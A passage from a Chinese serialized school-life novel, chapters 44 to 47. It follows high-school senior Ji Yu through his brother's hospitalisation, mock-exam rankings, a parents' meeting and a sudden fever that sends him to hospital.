少年认真的神色裹在明亮的柔光中,额发一翘一翘地随着说话时的动作晃,纪律刚硬了很久的心口蓦然陷下一块儿,低声地应和他:“对。” “你要夸我,和爸妈一样,说我什么都好,我和你说话你也不能不理我,你也不能什么都不告诉我,在家里一直抽烟。” “嗯。” 纪羽走到他的左手侧,碰了碰他垂下的胳膊:“是不是很痛?” 纪律说没有。 纪羽在他胳膊上拧了一下,他才改口:“痛。” “对啊,生病住院就是很难受,心情也会不好,我对你好一点,以后我再生病,你也要对我好一点……你有没有听到啊?” “小宝。” “干嘛这么叫我,你叫起来怪怪的。” 纪律罕见地提起嘴角笑了一下,拨弄了一下纪羽额前汗湿的发丝,软的。 “你应该想你以后不要再生病了。” “我又说不准…” 如果他把话说满,不是很容易被纪律抓到把柄让他听话吗。 纪羽拿开他的手:“总之,我也是家里的一份子,我有知情权,你们下次再背着我偷偷摸摸的,我就离家出走,再也不回来了!” “你的电脑我带……”恰在此时,病房门被推开,纪羽的壮志宣言送入徐梁耳中。 “离家出走?!”—— 作者有话说:存稿告急,焦急地走来走去,发出崩溃的牛嚎。 第44章 “小宝怎么来了, 什么时候来的?转过来让爸爸看看,哭过了?怎么就要离家出走了,啊?” 徐梁揽着小儿子, 用眼神示意大儿子快说句话。 纪律开口:“不是……” “我要、我要回去了!” 不知是被突然出现的徐梁吓了一跳,还是这种幼稚的威胁让他也感到羞耻, 纪羽接连不断地打起嗝来。 “……” 虽然理智上基本接受了被隐瞒一事,但在情感上纪羽仍对被排除在家庭之外的行为进行谴责。 纪羽扭来扭去抖开徐梁搭在肩上的手,硬邦邦地说道:“我走了。” 徐梁忙跟上:“爸爸送你。” “不要。”纪羽背过身去, “不许跟着我, 我自己走。” “外面天都黑了,还在刮风呢。” “那我也要自、自己走。” 纪羽坚持, 徐梁也不想拗他, 心里正担心着,贺思钧的脸在门口一晃而过。 “那你跟贺思钧一起回去注意安全, 打车打贵的坐得舒服一点, 妈妈在家里等你啊。” 纪羽低低地哦了一声,推门出去, 贺思钧跟着他走到电梯口。 “还好吗?” “有人来了你怎么也不出声, 你在外面干嘛?” 贺思钧从口袋里掏出个小罐子:“我去买东西了。” 纪羽憋了一路的气,把嗝压下去, 快步进了电梯,趁贺思钧没进来连按关门键。 贺思钧跟得紧, 没甩掉, 挤了进来。 “别动。”贺思钧把小罐子拧开, 挖出一点乳膏,在纪羽脸上揉开。 纪羽躲开:“痛。” “马上就不痛了,待会出去被风吹了脸会裂。”贺思钧在他另半张脸也抹上乳膏。果不其然, 乳膏化开没一会儿极其轻微的疼痛就消散了,电梯门打开,微风吹过,脸上凉凉的。 再舒服的东西在脸上糊得多了也难受,眼看贺思钧又要再挖一坨出来,纪羽摁住他的手背制止:“不要再涂了,一点就够了,黏糊糊的难受死了。” 贺思钧看着他的脸,视线停留得格外地久,纪羽还以为脸上沾了什么东西,探手去摸。 “刚摸过电梯键,别碰,小心脸更红了。” 纪羽迈出住院楼大门的脚又收回了,调转脚步进入卫生间。 脸颊倒还好,只是他脸皮薄,眼泪把红血丝浸了出来,已经消退了不少,只是眼睛尤其地红,眼皮也肿了,看着又呆又傻。 一想到自己就是顶着这幅样子“教训”纪律,纪羽的脸此时才是真的红了。 镜子里映出贺思钧的目光,纪羽想起病房门上留出方便观察的玻璃门洞:“你看到我在里面……” 贺思钧:“我听到了。” 那也没好到哪里去。 “早知道不让你在门外等我了。”纪羽拧开水龙头,温热的水流进指缝。 哗啦啦地的水声里贺思钧沉默片刻,才说:“我后悔了。” 纪羽低头搓洗双手:“后悔什么?” “后悔今天带你过来,吓到你。” “滚蛋。”纪羽转身把水全甩在贺思钧身上,有几滴水珠蹦到了贺思钧的脸上,“你不告诉我我早晚也会自己猜到的,被我知道你知情不报就是罪加一等。不要对我说谎,任何理由都不行,你知道吧?” 贺思钧颔首,水珠顺着下巴滑落- 家庭氛围依旧和谐。 纪羽没有发脾气,也没有追问纪泽兰和徐梁的想法,因为就算他们不说,纪羽也猜得到。 他们当然纵容且非常爱他,就算时常不在家,纪羽也从来没觉得他们缺席,只要他想,就算需要跨越大洋,对他们也只是很短的一趟路程。 但在这件事上,纪羽认为光靠爱是无法解释的。家人之间,出于爱可以充分理解、互相体谅,但也因为爱,会催生更多不满和欲求。 如果没被拆穿,多半他们也会再多遮掩几天,等纪律伤好得差不多了,事儿也就差不多过去了。 这并不公平,无论是对他来说,还是对纪律来说。 这次意外的处理方式纪羽做不到完全认可,用很小很小的举动彰显着他的态度。 比如说先摒弃了有些幼稚的叠称,第一次被叫“爸”而不是“爸爸”时,徐梁的表情异彩纷呈,落寞、伤心、黯然失神,百般情绪涌上心头,还不待开口询问缘由,纪羽已经背着书包上楼写作业去了。 他绝对不是在生气,纪羽只是觉得自己该懂事了,纪律的言行很有参考意义,纪羽决定向他学习。 但在展开完备的行动之前,一件相当重要的事夺去了纪羽大部分的注意力——联考成绩出炉了。 从上午开始,班级里就有人开始偷跑单科成绩,谁第一谁第二都打听得清清楚楚,纪羽不想去问,一方面是觉得没必要,成绩早晚会知道的,最迟明天就该贴出表格公示了;另一方面是赋分按排名一分一赋,他又不知道人家的分数,怕自己万一估分不准,成绩没有他预想的高,去问的时候前前后后地都听得到,那该多丢人。 一上午各科老师都在讲解试卷,纪羽越听心里越没底,课间坐在位置上把错题记在脑子里算分。 当天午休他就没睡着,在床上翻来覆去的,一闭眼就是胡思乱想,迷迷糊糊地要睡过去,脚一踏空又吓醒了。 一没休息好,身体上的反应就来得特别快,刚起床,纪羽就嗓子干痒,贺思钧听他咳嗽,推开门进来,摸他额头:“是不是感冒了?” “我觉得是上火的可能性更大。” 左右上课时间也快到了,纪羽穿上衣服下床,贺思钧不敢给他乱吃药,泡了一壶温水,让他先喝掉一半。 “这么多怎么喝啊,闻着好恶心。”纪羽被迫坐在桌前,不情不愿地低着头。 贺思钧想不通水怎么会有味道,但还是把水匀了一半出来,用碗来回倒腾降温,又在里边加了一颗胖大海,纪羽勉勉强强喝了一半的一半。 下午第八节下课,班长拿了成绩单回来,还没等贴上去,就被人团团拥住了。 没挤进去的在外边喊:“替我看看我是第几名,还有总分!” “别挤我别挤我,我看个名次就出来了。” “卧槽,我怎么在那么后面,完蛋了。” 吵哄哄的,像保护区里放饭时一拥而上的猴群。 纪羽心里着急又挤不进去,站在座位上伸长脖子张望,心跳扑通扑通的。 有人明显成绩不错,挤出来的脸色都透着喜气,别人问他考多少,他摆摆手,哎呀,也就一般般。 纪羽在班里最讨厌的就是这种人,假模假式的! 预备铃都打响了,还有一圈人围着,拿着纸笔抵在墙上记着分数。 再不走他就要来不及看了呀,还要再煎熬一节课,急着急着喉咙里又开始痒也顾不上喝水。 柳承刚好路过,纪羽拉住他。 “柳承,你看到我分数没有?” 柳承挠头:“没有,教室里人太多了,走廊人少,我就去外面站着吹了会儿风。” 纪羽摆摆手:“走吧走吧。” 不止是柳承不着急,比他成绩还要好的展舒文也坐在位置上,风雨不动安如山。 好学生都这么气定神闲,是不是他定力不够? 纪羽眼巴巴地望着墙上挤在表格里芝麻大点的字,心里忐忑得不得了。 人差不多散了,虽然铃还没响,但纪羽已经听到吴芝芝的鞋跟落在走廊的花岗岩上清脆的声音,再去看肯定来不及了,只好坐下来拿出卷子。 踩着铃声进门的却是贺思钧,他快步走进教室,路过纪羽座位时把手里拿着的东西放下了,纪羽定睛一看,是成绩单,但只有他的全科成绩和排名。 后边附了几张分析报告,纪羽可以看到自己各科成绩的薄弱之处和优异之处的具体分析、错题解析,以及和十校参考学生的横向对比。 恐怕是贺思钧借了老师的电脑打印的,贺思钧居然能背下他的考生号。 吴芝芝被其他老师拦住了,在门口说话,纪羽转过头用口型问:“你全校排多少名?” 贺思钧不避讳,大大方方地说:“第276名。” 纪羽回过头再确认了自己的名次:267。 呼,险胜。 刚知道成绩,班里明显躁动不安,吴芝芝索性没讲课,这些天李玄不在,她暂代班主任,向大家宣布了一件事。 本周日晚,将召开高三年级开学以来第一次家长会。 听着下方哀嚎一片,吴芝芝不紧不慢地说道: “联考成绩也出来了,我们联盟的这几所学校,都是相当有实力的对手,将来大家上了高考考场,也是和这些人竞争,有些人可能校排名还看得过去,但放在十所学校的共同排名里,还够看吗? “有些人可能以为自己进步了,考试一结束就到处嚷嚷‘稳了稳了’,现在是真的稳了吗?你努力别人就未尝没有拼命。 “而有些人可能还没意识到,高考不是在一年后,除去假期外,复习的日子满打满算也不过六个月,现在还慢悠悠地,等着以后再发力,殊不知人家早就趁着假期弯道超车,远远地把你们甩在后面。 “开学摸底考只是一个小小的警钟,有些同学意识到了自己假期里确实懈怠了,奋勇直追,生怕被落下,还有些同学死猪不怕开水烫,不思考自己有没有认真学,只想着怪休息不好,怪考试太难。同一张卷子,得多少分,30%要看老师的水平、看运气,但剩下70%全在于你自己。 “剩下的时间里,不管你有什么重要的事,都先收收心,有什么事不能等到大学再去做呢?我相信大家的家长都会支持你们,老师也会无条件地为你们敞开办公室的大门。大家自己回去好好想一想,也把自己的想法和父母说一说,最后半年了,不要被眼前鸡毛蒜皮的小事绊住脚。” 教室里回荡着吴芝芝的声音,教室里静悄悄的,风从窗缝里钻入掀起书页。 纪羽攥着成绩单,吴芝芝说的每一句话都像在说他,叫他一会儿羞愧一会儿又欣喜。心脏莫名地沉重,好像一直挤压在头顶的乌云又凝实了一点,即便它只是静静地悬浮着,也让他喘不过气来。 第45章 天凉了, 日头落得也快,贺思钧刚把菜端上桌,外头就已经灰蓝一片。 贺思钧把灯打开, 打了两碗饭,然后走到卧室里:“饭好了。” 卧室开了一盏台灯。 “哦。”纪羽趴在小书桌上, 头也没回。 贺思钧走近了看到他在看成绩单,用红笔把总分圈了起来。 “怎么了,不是考得很好吗?”拿到成绩单, 回头确认他的排名时纪羽眼睛都亮了一下。 在试卷难度明显提升后, 纪羽这次的名次比开学摸底考的名次前进了187位,算是非常大的进步。 “哪有很好……”纪羽肩膀耸动, 喉咙里带出一连串的咳嗽, 贺思钧从他后心向下顺,过了一会儿, 纪羽才说, “我以为我能进前两百呢。” “进前两百需要赋分后总分六百四十分。” “那还用你说。” 贺思钧沉默了。 纪羽又觉得自己不回家也不留校是个错误。 “先吃饭吧,”贺思钧像是听到纪羽的心声, 不想他一气之下离出租屋出走, 赶忙道,“我蒸了芋头。” 纪羽这才勉强挪步到餐桌边坐下。 芋头蒸得糯, 到嘴里就化开了,表面淋的酱汁也恰到好处。 贺思钧和摊主打了招呼, 给他们每天留品相最好的绿叶菜, 加点钱也没事, 纪羽果然很受用,吃着吃着终于将眉头舒展。 路边景观树的树杈上一串串的LED灯亮了,纪羽吃完饭坐在窗边看了一会儿, 耳边是贺思钧洗碗时的吱吱声。 纪羽把视线转过去,觉得自己是不是有点过分,一日两餐没动过手就算了,碗也没洗过,说到底,贺思钧也是要高考的人,在这种琐事上浪费时间,显得他很不厚道。 纪羽起身,把袖子挽起来,手探到水池里:“我来洗吧。” “不用,你去坐着。” 贺思钧用手肘将纪羽的手推开,房子旧了,厨房没有接热水管道,自来水都是凉的,纪羽没做过什么家务,洗个碗免不了把身上打湿,再说洗洁精伤手,没必要让纪羽多碰。 纪羽又试图把贺思钧从水池边挤走,结果只把自己累得出了汗。 这点工夫,贺思钧已经把碗洗好,放在架子上沥干,他又走到阳台上洗了拖把开始拖地。 纪羽坐在椅子上把腿抬高,思忖片刻:“其实,我觉得食堂饭菜也没有很难吃…” 拖布卡顿了一下,贺思钧立起拖把杆,眼神中带着困惑:“我做菜很难吃吗?” 所以纪羽才想又回学校吃并不喜欢的大锅饭。 “我不是那个意思。”纪羽纠结着说道,“我们都高三了,应该把时间利用起来,在食堂吃饭比较节省时间,你也不用买菜做饭还要洗碗,省下来的时间都够再做一套卷子了。” 听到纪羽这么说,贺思钧也没有露出很特别的表情。 “我不需要节省时间,能和你待在一块儿我很满意。” “……”纪羽差点忘了贺思钧向来就不识好歹,现在还有点喜欢他,恐怕是不会改变想法的。 但出于良心的深刻考量,纪羽还是说道:“那你以后可千万不能怪我,我给了你选择的,是你自己要贴着我,你自愿的,我没有强迫你。” 毫不意外的,贺思钧应下了。 虽然有心投入到学海中蝶泳、蛙泳、自由泳,但纪羽到底是血肉捏的,坚持了两天从早学到晚,连上厕所的次数都严格把控的日子,纪羽就有点撑不住了。 周日中午,纪羽千里迢迢赶到爱山医院,在只有右手能动弹的纪律面前,左手持叉右手拿刀地吃了一份牛排后,躺在沙发上发呆。 “脸色怎么那么差,让护士来给你量个体温,” 纪羽抬起一只手,摆了摆,意思是不要,接着闭上眼就要睡。 纪律走过去,把毯子给他拉上,坐下来碰了碰他的手脚,都冰凉。 “准备和爸妈闹别扭到什么时候,爸跟我说,这几天你在家话都没说几句。” 纪羽面朝沙发向里拱了拱,闷声道:“我早上五点多就起了,晚上十点半回家,他们都要睡了,没什么好说的呀。” “他们不回来的时候天天盼着,才好没几天又不高兴,你想怎么被伺候?” 或许是纪律人虚了,威严也大不如前,声线没那么冷硬,说着像讽刺的话,纪羽听着也不觉着不舒服。 他闭着眼,已经有点困了,声音含糊:“不想说……” 从医院里回来,坐到教室里咳嗽好像更严重了,嗓子刀片刮过似的疼,纪羽把胖大海当糖吃,半下午喝了两壶水才勉强好受点。 最后两节没上课,全班打扫卫生准备迎接家长,贺思钧怕纪羽吸了灰呛到难受,就让他到外面坐会儿。 纪羽溜达到了楼底,在台阶上坐下,把新发的作文素材拿出来看。 倒也不是不想做题,只是脑袋木木的,做了也是白做。 才看了一会儿,记了两个典型人物案例,就听身后咚咚咚地有人拍着球靠近,纪羽向墙边又挪了点儿,免得被不长眼的球砸到脑袋。 拍球声在身后停下,随之响起一道热情的问候。 “纪羽?一起去打球啊。” 听着声音,纪羽都不想扭头,希望梁子尧因为尴尬赶快走开。 梁子尧不尴尬,他一步跳了几个台阶,落到纪羽台阶下边,弯着腰笑道:“我就说我没认错。” 纪羽不看他,垂眼看书,头也不抬道:“你闲得没事干吗,不用打扫卫生?” “我把数学作业给他们抄,他们替我干了。哎这本中间有冷笑话可以看,我昨天刚拿到就在语文课上看完了,比去年发的那套有意思多了。” 抄作业、不良交易、不听课,真是有够恶劣的。纪羽一心向好,绝不能被这种不良分子给影响了。 啪地把书合上,纪羽起身要走。 “我看到你在进步光荣榜上了,恭喜你啊。” “什么进步光荣榜?”纪羽顿住脚步。 梁子尧抛起篮球,用一根手指顶住,另一手扒拉,摇晃的篮球就在指尖高速旋转起来,纪羽情不自禁地看了两眼。 炫过技,梁子尧把篮球抱在身侧,露出八颗闪亮大牙:“就在去食堂那条路上的公告栏,我带你去看。” 居然还上了光荣榜,纪羽内心悸动又有些不好意思,别人都是考了高分才上榜,他是开学退步太多占了便宜才上榜,根本算不上很光荣嘛! 但他到底没拒绝梁子尧,只是不动声色地答应道:“好吧。” 走着走着,梁子尧就转过身面对纪羽倒着走:“待会儿看完要不要一起去打球,我投三分可准了。” “不去,我不喜欢打球。” “为什么?”梁子尧不可置信地塌下眉毛,“打球很有意思的。” “累而且很脏。” 纪羽才不能接受沾了地上的泥巴的篮球碰到他身上的任何一个部位,更别提球上还有别人的手汗,场地里还可能有别人吐在地上的口水! “啊,那好吧。”梁子尧把篮球从左手换到右手,想了想还是抗辩了一句:“其实也不脏的,我每次打完球都会换衣服。” 纪羽扯了扯嘴角看他一眼:“我的意思是球很脏,待会你不要用手碰我。” 梁子尧:“那我洗了手再碰你。” “……” 神经。 真不知道梁子尧的脸皮到底有多厚,上次假期分开时话都说到那份上了,他居然也不在意,又巴巴地凑上来。 人居然能心大到这份上吗。 走着神,就走到了公告栏前,树荫下满栏板的学生照,纪羽眯着眼看了半天也没找到。 不会是梁子尧逗他的吧。 看纪羽有些不耐烦了,梁子尧这才笑嘻嘻地引他到背面:“进步栏在这一面。” 这会纪羽一眼就瞧到了自己,照片还是刚入学的时候拍的,看着比现在稚嫩得多,头发比现在要短,有点紧张地看着摄像头,纠结着要笑还是严肃点,摄影师已按下快门,定格在他要笑不笑的一瞬间。 “怎么放这张,难看死了。”要是现在拍,肯定比那时候好。 “挺好看的啊,这里放着的照片里,就你最好看。” “那也没有吧。”纪羽还是很谦虚的,注意到就在自己照片下边,就是贺思钧的照片,除了轮廓更深刻了,看着没多大区别,“其他人的也不错。” 不过他的照片还是比贺思钧的好看点。 梁子尧:“你看到我了没?” “你的?”纪羽惊奇,睁大了眼睛看他,“你会学习的吗?” 在他印象里,梁子尧就是不学无术的典型,完全没想过他会和学习好沾上边。 是他刻板印象了吗,难不成梁子尧学习很好? 纪羽惊讶时眼型也变得圆了,显得有点单纯,因为最近总是咳嗽,眼角和嘴唇都浮着一层浅红,衬得肤色更加白,在越发柔和朦胧的日光中显得格外薄嫩,轻轻一戳就要溢出汁水来似的。 梁子尧愣了一瞬,有些不自然地别过脸去:“我开玩笑的,哈哈。” “切。”竟然真的信了他的鬼话,纪羽有点恼怒,掉头就走。 梁子尧追上来,球都掉了也没去捡:“但以后我肯定能上榜。” “你别跟我说话了,我不和考不到前两百的人说话。”近朱者赤近墨者黑,纪羽要为自己创造一个学习氛围浓厚的交友环境。 听了这话,梁子尧欣喜过望,大声道:“刚好刚好!我一百九十九名!” 回声嘹亮穿过林荫,纪羽停住脚步,好像更生气了。 半晌,他憋红了脸:“你丫的给我滚!”—— 作者有话说:一只小鸡气得扑棱翅膀,会超过他的,不要急呀宝宝。 第46章 纪羽感受到一股强烈的被背叛感, 尤其是在看到梁子尧的成绩单证实他并没有说谎时,简直如天崩地裂一般了。 怎么会这样。 难道梁子尧只是在学校里松弛,私底下格外努力吗? 还是说梁子尧在学习上天赋异禀? 纪羽闷闷不乐, 即使他认为自己的想法很不对,几乎可以称得上是对梁子尧的歧视了, 是很不符合真善美的偏见。 但纪羽确确实实无法轻易接受这一事实。 一时间,头脑晕眩,口干舌燥, 百般滋味涌上心头, 顾不上梁子尧在身后挽留,纪羽强撑着走回班级, 一屁股坐倒在位置上。 “怎么了?” 贺思钧外套挽到小臂, 手里还拎着抹布,见纪羽脸色不好看, 还蹲下身仔细地打量他。 真蠢啊。 真不知道该说他自己还是说贺思钧。 “唉……” 被纪羽用不屑、可悲、怜悯的眼神盯着的贺思钧:? “纪羽!”展舒文在讲台上喊, “你来写下欢迎家长的标题。” “来了。” 因着高三要开家长会,走校的学生也留了下来, 好在高一高二的今日晚自习取消, 食堂内人还不算多。 纪羽不知是呛了粉笔灰还是累着了,咳嗽得更厉害, 饭也吃不下去,只坐在那对着餐盘发呆。 展舒文示意贺思钧:他咋了?上午不还好好的吗。 一中在宁海市拥有最好的生源, 每年的重本率都可碾压普高的本科上线率, 纪羽能在一个月时间里进步一大截, 展舒文看了都为他高兴,就算在班会上,纪羽那也是被表扬的那一批人, 他能为什么不高兴呢? 贺思钧想了想,只是摇了摇头。 “你不吃吗,晚上吃这么点不够的。”柳承哗啦哗啦扒着饭,身旁还摆着两提盒饭,是为柳母和柳晓怡留的,柳母下班接了柳晓怡过来刚好能吃上。 199。 199。 这成绩要是他的该多好啊,考试结束时,纪羽还心存幻想地想着,万一他超常发挥,一举考入前两百,甚至是前一百,该怎么狠狠地把成绩单甩在纪律脸上。 虽然不达这拔高的预期,但前三百已是相当不错的成绩了,从前他也只是非常偶尔地能考到三百名左右。 已经很不错了,要和自己比。 和自己比。 纪羽努力说服自己…… 狗蛋的! 凭什么梁子尧成绩比他好? 像柳承和展舒文这样努力又聪明的人是前两百名,纪羽只会拍手称赞,但梁子尧…… 一节课平均被点名三次,讲小话、写小纸条、开小差,所有和学习无关的事梁子尧都做了,他居然还没有考过梁子尧? 决不允许! 纪羽胸膛里的火烧得更旺了,长着梁子尧脸的恶魔在一旁煽风点火,气得纪羽牙痒痒。 “纪羽……纪羽……纪羽!” 回过神来,柳承拧着眉担忧地看着他:“你咬到石子儿了吗,牙齿一直咯吱咯吱的。” “没有。”纪羽背过身咳嗽两声,让柳承觉得他更像是乌龟垫桌脚——硬撑。 “再喝口汤。”贺思钧不知什么时候起身买了晚莲子银耳羹,又贵又只有一小碗。 银耳看着像肥猪肉,纪羽才要摇头拒绝,就听展舒文悠悠开口:“低血糖会消耗脑细胞,容易变傻。” 纪羽当即把饭扣进了那碗甜汤,面不改色地吃了大半碗。 吃过饭,一行人就去往校门口等着接家长。 柳母带着柳晓怡到得最早,柳晓怡早远远地就在人群里分辨出她哥,像个炮弹似的冲过来:“哥!” 柳承接住她,他在妹妹面前显得从容许多,没有平日里畏缩的模样:“别跑那么快,妈还在后面呢。” “知道啦。”柳晓怡对他笑一笑,就去招惹纪羽,“小羽哥哥小羽哥哥!” 柳承朋友不多,在家经常提到的也就是纪羽、展舒文和贺思钧了。 柳晓怡最喜欢纪羽,且对纪羽有着很特别的情愫在,就像她在班里认了很多小弟小妹,唯独只对其中一个瘦弱的小妹很关照,私下里,她让小妹叫她妈妈。 这种另类的保护欲在同样很单薄的纪羽身上也被激发了出来,在见到纪羽的那一刻,柳晓怡就很自觉地握住了纪羽的手。 “哥哥你吃饭了吗,我口袋里还有棒棒糖你要吃吗?” 柳晓怡这年纪的小孩上天下地地上蹿下跳,露出来的手晒得黑乎乎的,整只手掌都很热,纪羽只是小心地反握,柳晓怡就加重了力气攥住他的手指。 热乎乎的触感顺着手心在全身蔓延,夜风里微弱的寒意都被驱散开。 纪羽低下头耐心地说:“我吃过了,糖给我一个就可以了。你饿不饿,你哥哥给你们打了饭,你吃了饭要跟着妈妈一起去教室还是跟我们去礼堂待着?” 柳晓怡不假思索地:“跟着你!” 她给展舒文和贺思钧也塞了糖,不过贺思钧只得到一份,他们都有两份。 对这种光明正大的偏爱,贺思钧极为平静地把糖送给了纪羽,额外获得了柳晓怡赞赏的目光。 柳承带着柳母和柳晓怡去吃饭的功夫,徐梁开车载着纪泽兰和乔青燕也到了。 眼睁睁看着这对好姐妹挽着手下车,徐梁降下车窗可怜巴巴:“应该也有两个家长一起开会的吧,我也去呗。” 纪羽无情地回绝了他:“不可以,单人单桌,你晚点再来接我们。” 徐梁又开车离开了。 贺思钧带着纪泽兰和乔青燕去往班级,纪羽陪着展舒文在门口等展女士。 主要是想看看五颜六色的头发是怎么样的。 过了好一会儿,才见一辆共享电动车慢慢悠悠晃到校门口,来人摘下头盔露出一头绚丽的短发。 “舒文!停车点在哪儿呢,快超时了。” 展舒文走出校门指方向还不忘回头叮嘱纪羽:“你在这等一会儿,别乱跑。” 展女士并不如纪羽想象中那般模特般的模样,不高不瘦不矮不胖,和展舒文很像的脸庞,却多了几分潇洒之感,丝巾随意地穿进衬衫扣眼作装饰,短裤配长靴,装扮轻松又亮眼。 “好久没穿得那么朴素了。”展女士理了理被头盔压乱的发型,和展舒文挽着手走进来,向纪羽打了个招呼。 “你好啊,你是纪羽吧?皮肤好白,染个亚麻色头发肯定很不错,不过现在也很好,不过你要是想染,毕业后来找阿姨啊。” 纪羽被那头五彩缤纷的头发迷住了,情不自禁摸了摸自己的头顶,愣愣地说了句好。 把家长全部送进教室,学生都转移到大礼堂中自习,没有老师看着,又经历了一周的学习,大都三三两两地聊着天。 柳晓怡也想找纪羽聊天,重点感谢一下送到她心坎上的生日礼物——大力水手积木,她能从拆包装盒说到搭上最后一块积木的感受。 可惜纪羽头也不抬,拿着笔就是写,几乎达到了忘我的境地,柳晓怡也被他感染,不用柳承讲,就一口气把剩下的假期作业都补上了,最后累得趴在柳承腿上睡了一觉。 礼堂广播响起校长发言时,纪羽如梦初醒地抬起头来,眼神飘忽:“是不是快结束了?” 贺思钧探了一把他的额头,有点烫,但不明显,礼堂内人多空气不流通,可能是闷的,便又在他面前伸出两根手指。 “小羽,这是几?” 纪羽定睛凝神,半晌乐了:“这不就是二吗,说到二……” 他伸出手,慢慢掰开:“这是一……这是二…二百……” 贺思钧当即起身,托起纪羽:“他发烧了,我带他先去医务室看看。” 纪羽整个人滑溜溜地不肯在贺思钧背上好好待着,还总喊着自己的书包不见了,挣扎着要下地去找,只好让展舒文拿着他的书包跟在身旁,柳承抵着他的背免得纪羽后仰摔下来。 柳晓怡揉着眼睛拉着纪羽的衣摆,抬头问:“小羽哥哥这是学疯了吗?” 好不容易赶到了医务室,却是灯火都熄了,敲门半晌也不见有人回应。 纪羽倒不再闹了,迷迷糊糊地像是睡了,贺思钧喊他几声都没听见回应,当机立断直接送到医院去。 一出校门,就见徐梁的车在校门口,免去了一番向保安解释的口舌,贺思钧带着纪羽上车,三十分钟的车程,徐梁十七分钟就赶到了。 刚一停稳,贺思钧拉开车门,把纪羽扶起来,徐梁正要接过,纪羽头一偏,就把晚饭吐了个干净,倒是一点都没让外人占便宜,全吐在了车上。 但好在吐过一回,纪羽反倒清醒点,认出了徐梁,眼圈唰地红了。 “爸爸……” 徐梁心疼不已,半托半抱地把人扶上轮椅,纪羽被护士推着向前走,眼前光影交错,头脑昏眩到了极致,恍惚间又听见了梁子尧欣喜不能自胜的声音喊道:“刚好刚好,我一百九十九名。” 搭在扶手上的手被人握住,纪羽转头看去,是贺思钧的脸。 种种混乱场景闪过眼前,纪羽看着贺思钧发愣。 见纪羽嘴唇嗫嚅,恐怕是有话要说,贺思钧俯身侧耳去听。 “怎么了?” “……你个傻x,贺思钧,考不到前两百,话少有什么用……” “??”—— 作者有话说:养鸟手册:时刻关注小鸡情绪,以免小鸡把自己气晕过去。 第47章 一场急病来势汹汹, 学是没办法再上了,纪羽被困在床上,哪也去不了。 好事是他一连烧了两天, 两天里昏睡困顿,不知道自己在哪儿, 也就没什么心理压力。 可人一清醒过来,就很难忍受失去自由的滋味了。 比如说说话自由。 【你为什么在这里??】 纪律合上笔记本,将交叠的双腿放下:“这话是不是该我问你, 这才几天就折腾到医院来了?” 这难道是他想的吗? 纪羽张嘴试图辩解, 却只发出一点变调漏风的音节,肌肉拉扯, 嗓子更疼了:“啊……!” 只能愤慨地在手机屏幕上重复点击放屁音效, 边咳嗽边用用烧红的眼睛看着纪律,试图以此表达自己的不忿。 像只被雨淋湿的鸟, 浑身湿透了, 连漂亮的飞羽也黯淡无光,还在叽叽喳喳叫个不停, 叫得也很难听。 咳嗽时整个人都在抖, 胸口起伏得厉害,纪律怕他下一秒就把才吃下的药给吐空。 “这几天大降温, 爸妈回去给你取衣服了,你睡前和你说过, 再过会儿就过来了。哑了就少说两句, 喝点水。” 他从沙发上站起身, 到一旁单手接了杯温水,挖了半勺蜂蜜化开,稳当地送到纪羽床侧。 纪羽把头别过去当没看到。 “泡了蜂蜜, 加了两勺。” 【我是哑了又不是看不见了,你就加了一勺。】 纪律面不改色:“喝太甜了不好。” “我不喝。”纪羽勉强用气音说,“我好饱。” 他说着说着又往下滑,要钻到被子里去。 纪律掐住他单边胳肢窝就将他提起来。 “坐一会儿,晚点再睡,再过半小时吃饭。” 纪羽摇头,表示拒绝,不想把自己晃得眼晕,脸色都难看几分,纪律却趁此机会把水喂进他嘴里,嗓子是好受了些,但肚子里好像尽是些汤汤水水的。 晚上再喝粥他就要吐出来了,但除了喝米粥和各种糊糊,纪羽也吃不下什么。 不过两三天,脸上也不剩多少肉挂着,下巴尖翘,胳膊也细细一截,躺在床上,像片纸似的。 纪律知道他住院时精神算不上好,暑假里紫癜复发时纪羽连坐都很少坐起来,只是侧躺在床上,由着电视节目的笑声充斥房间,半阖着眼发呆。 纪律不是没问过他有什么需要的,人或者是什么东西都可以,纪羽抬起眼看一眼他,半晌轻飘飘来一句:“不要。” 有时纪律会在窗台望到楼底站着的贺思钧,猜想和他有关,两人总是因为大大小小的事闹矛盾,好几次纪羽哭得天崩地裂了说绝交也不下百次,但无一例外地没两天就看见他和贺思钧又凑在一起说小话。 像以前小不点纪羽不肯把秘密透露给大人时一样,高中生纪羽格外冷酷无情道:“我不想告诉你,你又不懂我。” 家人之间哪有什么懂不懂的,在一起生活罢了。 不过以前纪羽虽然情绪低落,但没几天就会和护士打成一片,推着轮椅也要到花园里找朋友玩,年纪大的年纪小的,他都能说上话,后来似乎是年纪大了,他才不再经常想着外出,只窝在病房里看电视玩游戏。 到现在,纪律不知道他现在的爱好是什么,纪羽心心念念的腕表也不见他时刻戴着,小时候经常模仿的电视角色现在更是看都不看一眼。 唯一热衷点的……竟然是学习。从前扒着门抹泪也不肯去学校的纪羽能有这么大的蜕变吗,还是现在这是种新的叛逆手段? 虽说往年换季,纪羽上呼吸道感染中招次数也不少,但也没发作得那么急,体温降不下去,人还哑了,看着比以往还凄惨得多。 纪律琢磨片刻,说道:“家长会上老师重点表扬了你,你进步很大。” 纪羽拨弄着被子角,没说话。 “不高兴?这个成绩对你来说已经很不错了,保持下去重点不是问题,除了最顶尖那几所,其他学校可以挑的有很多。” 纪羽的成绩单和分析报告他看过,明显是上了心的,以前常错的题型失分的几率大大减少,总成绩在十所中学中的排名也不算低,处于中等位置。这次考试能有这个成绩,纪羽该兴奋地把成绩单贴在脑门上向所有人都展示一遍才对。 纪羽听了,却只是抬起眼皮看了他一眼,又低下头捏被子。 进步是进步了,但他进步别人就未尝不进步,而且努力实在太累了,有时候睡午觉纪羽都梦到自己在考场上奋笔疾书。 再说他的进步也要打折扣的嘛,开学的摸底考他的成绩实在太差了,基础差,上升的空间就大。 要是他本来就是前两百,每前进五十名都得拼死拼活。 人一旦把眼界打开,就只是把眼界打开了。 “纪羽,好好和我说,到底为什么不高兴?”纪律把他的脸捧起来,逼着他平视自己。 纪羽张嘴就咬了他一口。 不轻也不重,纪律没抽手,纪羽呼吸不畅,没一会儿就松嘴了,在纪律手掌外侧留了个整齐的牙印。 “现在能说了?” 纪羽头一转,视线落到一旁的水杯上,等纪律把水杯端起来才伸手接过,灌了一大口漱口吐掉,才开口用微弱的气声道:“你是不是捡来的?” “……”纪律完全不能信任自己听到的,“你在说什么?” 窗外夕阳正好,一丝雨都没有,正合了纪律此刻的心情。 